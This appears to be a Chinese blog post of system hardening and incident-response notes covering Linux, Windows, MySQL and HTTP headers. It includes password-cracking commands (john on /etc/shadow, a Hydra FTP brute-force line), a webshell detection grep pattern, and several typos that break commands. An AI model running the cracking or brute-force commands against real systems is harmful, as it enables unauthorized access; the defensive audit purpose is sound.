    1. 如果打开了SNMP协议,snmp团字体设置不能使用默认的团体字。查看配置文件cat /etc/snmp/snmpd.conf

    2. 编辑vi /etc/snmp/snmpd.conf应禁止使用public、private默认团体字,使用用户自定义的团体字,例如将一下设置中的public替换为用户自定义的团体字:com2sec notConfigUser default public

  9. 弱口令审计

    1. 检查系统弱口令,john /etc/shadow --singleandjohn /etc/shadow --wordlist=pass.dic。使用passwd <username>命令为用户设置复杂密码。

3.服务进程

  1. 基础

    1. 服务就是运行在网络服务器上监听用户请求的进程。服务是通过端口号来区分的。

    2. 常见的服务及其对应的端口{ftp:21,ssh:22,telnet:23,smtp:25,ssl:443,http:80,pop3:110}。

    3. 在linux系统中,服务一般是通过inetd进程或启动脚本来启动。通过inetd来启动的服务可以通过在/etc/inetd.conf文件进行注释来禁用。通过启动脚本启动的服务可以通过改变脚本名称的方式禁用。

    4. 查看服务的两个命令,pstree是以树状结构来展示的,ps aux是直接展示的,展示的比较详细。

  2. 检查SSH服务

    1. 对SSH服务进行安全检查,使用命令cat /etc/ssh/sshd_config查看配置文件。

      1. 不允许root直接登录,设置PermitRootLogin=no

      2. 修改SSH使用的协议版本,设置Protocol=2

      3. 修改允许密码错误次数(默认是6次),设置MaxAuthTries=3

  3. TCP Wrapper

    1. 使用TCP Wrapper对libwrap库支持的程序做访问控制,使用命令cat /etc/hosts.allowcat /etc/hosts.deny查看配置。

    2. 修改配置hosts.allow and hosts.deny,编辑vi /etc/hosts.allow,加入SSHD:<IP地址>、编辑vi /etc/hosts.deny,加入sshd:ALL。该配置为仅允许特定IP地hi访问ssh。

  4. NFS共享

    1. 查看NFS共享,使用命令exportfs查看NFS输出的共享目录,使用命令vi /etc/exports编辑配置文件,删除不必要的共享。

  5. Syslogd认证相关记录

    1. 查看所有日志记录,cat /etc/rsyslog.conf | grep authpriv,查看是否有authpriv.* /var/log/secure。

    2. 添加相关日志的记录,将authpirv设备的任何级别的 信息记录到/var/log/secure文件中。

  6. Syslogd日志设置

    1. 查看所有日志文件,使用命令cat /etc/rsyslog.conf查看rsyslogd的配置。

      1. 系统日志默认,/var/log/messages

      2. cron日志默认,/var/log/cron

      3. 安全日志默认,/var/log/secure

  7. 限制Ctrl+Alt+Del命令

    1. 防止误使用Ctrl+Alt+Del重启系统,使用命令cat /etc/inittab | grep ctrlaltdel查看输入行是否被注释。

    2. 下使用命令vi /etc/inittab编辑配置文件,在行开头添加注释符号'#',# ca::ctrlaltdel:/sbin/shutdown -t3 -r now,再使用命令'init q'应用设置。

  8. 服务/进程安全

    1. 使用命令who -r查看当前init级别。

    2. 使用命令chkconfig --list <服务名>查看所有服务的状态。

    3. 使用命令chkoonfig --level <init级别> <服务名> on|off | reset设置服务在个init级别下开机是否启动。

4.网络配置

  1. 检查网络参数

    1. linux中提供了sysctl命令,可调整网络参数。使用命令sysctl -a查看当前网络参数。

    2. 使用命令vi /etc/sysctl.conf修改配置文件,有选择地添加以下内容:

      net.ipv4.icmp_echo_ignore_broadcasts = 1		# 忽略ICMP广播
      net.ipv4.icmp_echo_ignore_all = 1				# 忽略ICMP echo请求
      net.ipv4.ip_default_ttl = 128					# 修改TTL为128
    3. 使用命令sysctl -p使更改生效。

  2. 自定义规则

    1. iptables命令是linux上常用的防火墙软件,是netfilter项目的一部分。命令选项输入顺序,iptables -t 表名 <-A/I/D/R> 规则链名 [规则号] <-i/o 网卡名> -p 协议名 <-s 源IP/源子网> --sport 源端口 <-d 目标IP/目标子网> --dport 目标端口 -j 动作

      iptables 
      	-t 表名 
      	<-A/I/D/R> 规则链名 [规则号] 
      	<-i/o 网卡名> 
      	-p 协议名 
      	<-s 源IP/源子网> 
      	--sport 源端口 
      	<-d 目标IP/目标子网> 
      	--dport 目标端口 
      	-j 动作
      # 参数选项
      	-A				# 向规则链中添加条目;
      	-D				# 从规则链中删除条目;
      	-i				# 向规则链中插入条目;
      	-L				# 显示规则链中已有的条目;
      	-p				# 指定要匹配的数据包协议类型;
      	-s				# 指定要匹配的数据包源ip地址;
      	-j<目标>			# 指定要跳转的目标;
          -i<网络接口>		# 指定数据包进入本机的网络接口;
          -o<网络接口>		# 指定数据包要离开本机所使用的网络接口;
    2. 规则链名包含:

      1. INPUT链:处理输入数据包。

      2. OUTPUT链:处理输出数据包。

      3. PORWARD链:处理转发数据包。

    3. 动作包含:

      1. accept:接收数据包。

      2. DROP:丢弃数据包。

      3. REDIRECT:重定向、映射、透明代理。

    4. 限制进入连接

      iptables -A INPUT -i eth0 -s 192.168.10.0/24 -p tcp --dport 22 -j ACCEPT
      iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
      iptable -A INPUT -i eth0 -p tcp --dport 22 -j DROP
    5. 限制外发连接

      iptables -A OUTPUT -o eth0 -p tcp --syn -j DROP
      iptables -A OUTPUT -o eth0 -p udp -j DROP
    6. 查看规则Iptables --list

5.日志审计

  1. 配置vi /etc/rsyslog.conf,启用安全事件日志记录*.err;kern.debug;daemon.notice /var/adm/messages

  2. ls /var/log

    1. boot.log,该文件记录了系统在引导过程中发生的事件,就是linux系统开机自检过程显示的信息。

    2. cron,该日志文件记录crontab守护进程crond所派生的子进程的动作,前面加上用户、登录时间和PID,以及派生出的进程的动作。

    3. lastlog,该日志文件记录最近成功登录的事件和最后一次不成功的登录事件,由login生成。在每次用户登录时被查询,该文件时二进制文件,需要使用lastlog命令查看。

    4. wtmp,该日志文件永久记录每个用户登录、注销及系统启动、停机的事件。Last命令就是访问的这个文件。

  3. 系统日志分析

    1. message日志:

      1. messages日志位置为/var/log/messages。

      2. messages中记录有运行信息和认证信息,对于追查恶意用户的登录行为有很大帮助。more /var/log/messages

    2. cron日志:

      1. cron日志位置为/var/log/cron。

      2. 记录crontab守护进程crond所派生的子进程的动作,前面加上用户、登录时间和PID,以及派生出的进程的动作。more /var/log/cron

    3. secure日志:

      1. ssh登录日志会存储于/var/log/secure中,若日志中出现连续大量的登录错误信息,则可能意味着远程主机在尝试破解ssh登录口令。

    4. last日志:

      1. last命令用于查看最近的用户登录情况,last命令读取wtmp内容。

      2. lastlog命令,用于查看系统内所有账户最后一次登录信息,该命令读取/var/log/lastlog内容。

6.安全工具

  1. ps,查看系统当前运行的进程。

  2. locate/find,用于查找指定名称的文件。

  3. netstat,列出所有监听端口及这些端口的所有连接者。

  4. grep/awk,列出所有包含指定字符串的文件,可以用于查找可以的后门以及Webshell文件。

  5. strace,对应用的系统调用和信号传递的跟踪结果来对应用进行分析,显示这个进程所作用的所有系统调用。这可以用来判断程序运行的行为。

  6. strings,通常用来协助分析二进制文件的安全性。

  7. grep命令使用$grep -i -r eval\(\$_post /app/website)/*,其中-i表示不区分大小写,-r表示搜索指定目录及其子目录。

  8. john

    1. john /etc/shadow --single

    2. john /etc/shadow --wordlist=pass.dic

  9. Hydra

    1. hydra -l login -P /tmp/passlist 192.168.0.1 ftp,login为要破解的用户名,passlist为密码字典库。

  10. chkrootkit

    1. 用于linux的本地rootkit检查工具,用户检查后门程序。检查名命令./chkrootkit -q -r/

  11. rkhunter

    1. 也是用于后门程序检查的工具,检测命令rkhunter --check

Windows

1.安全基础

  1. 基础命令

    ver						# 查看系统版本
    hostname				# 查看主机名
    ipconfig /all			# 查看网络配置
    net user				# 查看用户
    netstat -ano			# 查看开放端口
    regedit					# 打开注册表
    eventvwr.msc			# 打开事件查看器
    services.msc			# 打开系统服务
    gpedit.msc				# 打开组策略编辑器
    secpol.msc				# 打开本地安全策略
    lusrmgr.msc				# 打开本地用户和组
  2. 开启和关闭服务net start/stop servername

    smss.exe				# Session Manager
    csrss.exe				# 子系统服务器进程
    winlogon.exe			# 管理用户登录
    services.exe			# 包含更多系统服务
    lsass.exe				# 管理ip安全策略以及启动ISAKMP/Oakley和ip安全驱动程序。
    svchost.exe				# 包含更多系统服务
    spoolsv.exe				# 将文件加载到内存中以便后打印
    explorer.exe			# 资源管理器
    internat.exe			# 输入法
  3. windows日志文件默认位置是%systemorrt%\system32\config

    安全日志文件:%systemroot%\system32\config\SecEvent.EVT
    系统日志文件:%systemroot%\system32\config\SysEvent.EVT
    应用程序日志文件:%systemroot%\system32\config\AppEvent.EVT
    FTP连接日志和HTTPD事务日志:%systemroot%\system32\LogFiles\
  4. NTFS分区:

    1. NTFS权限既影响网络访问者也影响本地访问者。

    2. NTFS权限可以为驱动器、文件夹、注册表键值、打印机等进行设置。

    3. 权限可以配置给用户或组,不同用户或组同一个文件夹或文件可以有不同的权限。

    4. 分区转换:convert D:/fs:ntfs。

    5. 不可逆,只能将FAT或FAT32系统转换为NTFS系统。

  5. 权限的优先顺序:

    1. 每种权限都有允许和拒绝两种设置方式。

    2. 权限的来源有直接设置和继承两种。

    3. 如果权限的设置出现矛盾,系统按下面的有限顺序确定权限。

  6. 移动、复制对权限继承性的影响:

    1. 在统一分区内移动文件的文件夹,权限保持不变。在不同分区见移动文件或文件夹,权限继承新位置的权限。

    2. 复制文件或文件夹,权限会继承新位置的权限。

    3. 吧文件或文件夹移动或复制到FAT分区中时权限会丢失。

2.入侵调查

  1. 及早发现系统异常

    1. 系统启动:系统日志记录、系统运行时间、网络连接时间。

    2. 系统资源:进程占用大量CPU时间、进程消耗大量物理内存、磁盘空间减少。

    3. 网络流量异常:发送或接收大量SYN数据包、发送或接收大量ICMP数据包、其他流量。

  2. windows查看遗留痕迹

    1. IE临时文件,访问过网页Docuents and Settings\<账号>\Local Settings\Temporara Internet Files

    2. 访问地址记录,记录访问过的网址和本地地址,按日期排列Docuents and Settings\<账户>\Loacl settings\History

    3. 使用文件记录,打开过的文档Docuents and Settings\<账号>\Recent

    4. cookie记录,访问网址用户使用过的Docuents and Settings\<账号>\cookie

    5. 计划任务,使用命令查看at

    6. 注册表:

      1. 曾经存在的账号HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\ProfileList

      2. 曾经安装过的软件HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

    7. 检查交换文件

      1. HKLM\System\CurrentControlSet\Control\Session Management\ClearPageFileAtShutdown

      2. 检查\winnt\profile\目录,如果账户存在在而以该账号命名的自u路不存在,则该账户还没有登录过系统。

      3. 如果用户目录存在而该账户不在用户列表中,则说明用户ID曾经存在而已被删除。

  3. 查看日志分析入侵情况

    1. 审核日志:系统日志、应用日志、安全性日志、web日志、FTP日志、数据库日志。

    2. 登录类型及安全日志分析

      1. 登录类型2:交互式登录(Interactlve)、在本地键盘上进行的登录,但不要忘记通过KVM登录任然属于交互式登录,虽然它是基于网络的。

      2. 登录类型3:网络(Network)、当你从网络的上访问一台计算机时在大多数情况下Windows记为类型3,最常见的情况就是连接到共享文件夹或者打印机时。

      3. 登录类型5:服务(Service)、与计划任务类似,每种服务都被配置在某个特定的用户账户下运行,当一个服务开始时,Windows首先为这个特定的用户创建一个登录会话,这个被极为类型5。

      4. 登录类型7:解锁(Unlock)、你可能希望当一个用户离开他的计算机时相应的工作站自动开始一个密码保护的屏保,当一个用户回来解锁时,Windows就把这种解锁操作认为是一个类型7的登录,失败的类型7登录说明有人输入了错误的密码或者有人在尝试解锁计算机。

      5. 登录类型8:网络明文(NetworkCleartext)、当从一个使用Advapi的ASP脚本登录或者一个用户使用基本验证方式登录IIS才会是这种登录类型,“登录过程”栏都将列出Advapi。

      6. 登录类型10:远程交互(RemoteInteractive)、当你通过终端服务、远程桌面或远程协助访问计算机时,Windows将记为类型10。

    3. 日志审核的首要条件:日志的记录能力、日志的保存能力。

    4. 系统日志:

      1. 记录设备驱动状态,系统进程、服务状态改变,以及补丁安装情况。

      2. 可能能够获得被攻击的时间以及方式:某时刻系统重启、某时刻某系统服务出错并重启。

      3. 某时刻系统弹出对话框。

    5. 应用程序日志

      1. 记录用户应用程序的活动情况,可能能够获得被攻击的时间以及方式:某时刻防火墙被关闭、某时刻杀毒软件自动防护功能被禁止、某时刻杀毒软件警告发现病毒、某时刻安装或删除了软件。

    6. 安全性日志

      1. 激素系统使用的登录进程,特权使用、安全审核以及审核结果。可能能够获得被攻击的时间以及方法:某时刻某用户登录系统成功、某时刻某用户尝试登录系统失败、某时刻某用户更改了审核策略。

    7. web日志

      1. iis日志在%systemroot%\system32\logfiles下相应子目录中。

      2. 服务器状态码:请求成功:200-299、客户端错误:400-499、服务器端错误:500-599(并非攻击失败)。

  4. 恢复系统以及应用

    1. 复查确认后门处理完毕:Pslist lceSword。判断系统存在漏洞

      1. 入侵手法判断:根据日志重现攻击手段;依照流行程度判断。

      2. 服务内容判断:参照安全公告,检查本机服务。

      3. 扫描判断:微软工具MBSA基准扫描。

    2. 修补系统存在漏洞,并加固系统。

      1. 临时解决方案:使用防火墙策略阻拦指定协议或端口特殊关键字请求、使用防火墙阻拦指定进程、暂时停止使用危险应用。

      2. 根本解决方案:安装安全补丁、更换安全的应用系统、暂时停止使用文件应用。

    3. 启动所有应用,测试是否正常运行。

3.应急响应

  1. 查找后门

    1. Autoruns:用autoruns可列举城建的启动条目,在启动条目中,应为大部分可以程序自身不会含有过多的描述信息,因此通过检查Publisher和Description两条项目可排除一些较简单的后门程序或恶意代码。

    2. 在后门程序运行的过程中,后门程序除正常的访问一些敏感文件、注册表项等行为外,还可以会出现创建模块等异常行为,而这些额外创建出来的文件会辅助恶意程序的主进程工作,防止主进程被用户或杀毒软件终端,因此,可通过监控工具来查看可以程序的行为。

    3. Filemon:filemon会以进程为线索,列举该进程以何种方式对什么文件进行什么样的访问,以及访问是否成功。

    4. 如果需要对特定的进程进行监控或过滤,可点击快捷菜单上的漏洞图标,填写指定的进程名来进行结果过滤。

    5. Regmon:regmon与filemon使用方法相同,不过regmon是用户监控进程对注册表的操作行为。

    6. IceSword:是一款集合了较多使用功能的安全检测工具,利用lceSword的进程功能,可查看系统中是否存在隐藏进程,若存在,则该进程会被自动标注为红色。

  2. 全面分析日志

    1. 若系统配置了审计,则会在事件查看器的安全性日志中查看到某些管理账号的登录、文件访问等行为;

    2. 用户目录

      1. 用户的桌面,可能放有一些临时文件或下载的文件c:\Documents and Settings\cracker\桌面

      2. 用户的网络访问情况c:\Documents and Settings\cracker\Cookies

      3. 用户最近访问过那些文件或文件夹c:\Documents and Settings\cracker\Recent

      4. 用户上网的历史记录c:\Documents and Settings\cracker\Local Settings\History

      5. 一些程序安装、解压缩等操作可能会在该目录产生临时文件c:\Documents and Settings\cracker\Local Settings\Temp

      6. 上网时产生的临时文件,不但会存储网页页面内容,还可能以临时文件的方式存储一些下载的文件c:\Documents and Settings\cracker\Local Settings\Temporary Internet Files

MySQL

1.基本安全

  1. mysql应该使用非管理员账号运行,以普通账户安全运行mysqld,在mysql my.cnf配置文件中应配置user=mysql。

  2. 修改密码set password for 'root'@'localhost' = password('123.com')

  3. 为了跟好的保护root用户我们将其改名update user set user='another_username' where user='root';

  4. 设置密码复杂度

    plugin-load=validate_password.so
    validate_password_length=14
    validate_password_mixed_case_count=1
    validate_password_number_count=1
    validate_password_special_char_count=1
    validate_password_policy_MEDIUM
  5. 配置数据库密码的过期时间,用户名密码过期时间应设置小于等于90天set global default_password_lifetime=90

  6. 降低用户的数据库权限,只有管理员有完整的数据库访问权限

    1. mysql数据库中mysql.user和mysql.db表列出了可以授权给MySQL用户各种权限。常见,这些权限不应该对每个MySQL用户都可用,而且通常只保留给管理员使用。

    2. 列举审计程序结果统计的非管理员用户,对于每个非管理用户,使用revoke语句来适当删除权限。

    3. mysql.user表中的权限列有:

      file_priv					# 表示是否允许用户读取数据库所在主机的本地文件。
      process						# 表示是否允许用户查询所有用户的命令执行信息。
      super_priv					# 表示用户是否有设置全局变量、管理员调用等高级别权限。
      shutdown_priv				# 表示用户是否可以关闭数据库;
      Create_user_priv			# 表示用户是否可以创建或删除其他用户;
      grant_priv					# 表示用户是否可以修改其他用户的权限。
    4. 应确保只有数据库管理员才有上述权限,使用如下sql语句查看拥有各个权限的数据库账户select user,host from mysql.user where File_priv='Y';

  7. 配置mysql日志便于审计

    1. mysql因该配置日志功能,其中包含错误日志、二进制日志、置慢查询日志、通用查询日志、更新日志。

    2. 编辑my.cnf文件,设置log_error=/home/mysql.err、log_bin=mysql-bin、slow_query_log=1、general_log=1、log_slave_updates=1

HTTP

1.状态码

  1. 200 OK:表示从客户端发来的请求在服务器端被正常处理了。

  2. 301 MOVED Permanently:永久性重定向,表示请求的资源已被分配了新的URL,以后应使用资源现在所指的URL。

  3. 302 Found:临时性重定向,表示请求的资源已被分配了新的URL,希望用户能使用新的URL访问。

  4. 304 Not Modified:客户端发送附带条件的请求时,服务器端允许请求访问资源,但未满足条件的情况。304状态码返回时,不包含任何响应的主体部分。

  5. 400 Bad Request:表示请求报文中存在语法错误,当错误发生时,需修改请求的内容后再次发送请求。

  6. 401 Unauthorized:该状态码表示发送的请求需要有通过HTTP认证的认证信息。若之前已进行过1次请求,则表示用户认证失败。

  7. 403 Forbidden:表明对请求资源的访问被服务器拒绝了。

  8. 404 Not Found:表明服务器上无法找到请求的资源。

  9. 500 Internal Server Error:表明服务器端在执行请求时发生了错误,也有可能时web应用存在的bug或某些临时的故障。

  10. 503 Service Unavailable:表明服务器暂时处于超负载或正在进行停机维修,现在服务处理请求。

2.HTTP请求

  1. HTTP首部字段类型

    1. 通用首部字段:请求报文和响应报文两方都会使用的首部。

    2. 请求首部字段:从客户端向服务器端发送请求报文时使用的首部,补充了请求的附加内容、客户端信息、相应内容相关优先级等信息。

    3. 响应首部字段:从服务器端向客户端返回响应报文时使用的首部,补充了响应的附加内容,也会要求客户端附加额外的内容信息。

    4. 实体首部字段:针对请求报文和响应报文的实体部分使用的首部,补充了资源内容更新时间等与实体有关的信息。

  2. 通用首部字段

    Cache-Control						# 控制缓存的行为
    Connection							# 逐跳首部、连接的管理
    Date								# 创建报文的日期时间
    Pragma								# 报文指令
    Trailer								# 报文末端的首部一览
    Transfer-Encoding					# 指定报文主体的传输编码方式
    Upgrade								# 升级为其他协议
    Via									# 代理服务器的相关信息
    Waming								# 错误通知
  3. 请求首部字段

    Accept								# 用户代理可处理的媒体类型
    Accept-Charset						# 优先的字符集
    Accept-Encoding						# 优先的内容编码
    Accept-Language						# 优先的语言
    Authorization						# web认证信息
    Expect								# 期待服务器的特定行为
    From								# 用户的电子邮件地址
    Host								# 请求资源所在的服务器
    If-Match							# 比较试题标记
    If-Modified-Since					# 比较资源的更新时间
    If-Range							# 资源末更新时发送实体Byte的范围请求
    Range								# 实体的字节范围请求
    Max-Forwards						# 最大传输逐跳数
    Referer								# 对请求中URL的原始获取方
    User-Agent							# HTTP客户端程序的信息
  4. 响应首部字段

    Accept-Ranges						# 是否接受字节范围请求
    Age									# 推算资源创建经过时间
    ETag								# 资源的匹配信息
    Location							# 今客户端重定向至指定URL
    Proxy-Authenticate					# 代理服务器对客户端的认证信息
    Retry-After							# 对再次发起请求的时机要求
    Server								# HTTP服务器的安装信息
    Vary								# 代理服务器缓存的管理信息
    WWW-Authenticate					# 服务器对客户端的认证信息
  5. 实体首部字段

    Allow								# 资源可支持的HTTP方法
    Content-Encoding					# 实体主体适用的编码方式
    Content-Language					# 实体主体的自然语言
    Content-Length						# 实体主体的大小
    Content-Location					# 替代对应资源的URL
    Content-MD5							# 实体主体的报文摘要
    Content-Range						# 实体主体的位置范围
    Content-Type						# 实体主体的媒体类型
    Expires								# 实体主体过期的日期时间
    Last-Modified						# 资源的最后修改日期时间
posted @ 2022-12-24 13:59  無敗の草  阅读(309)  评论(0)    收藏  举报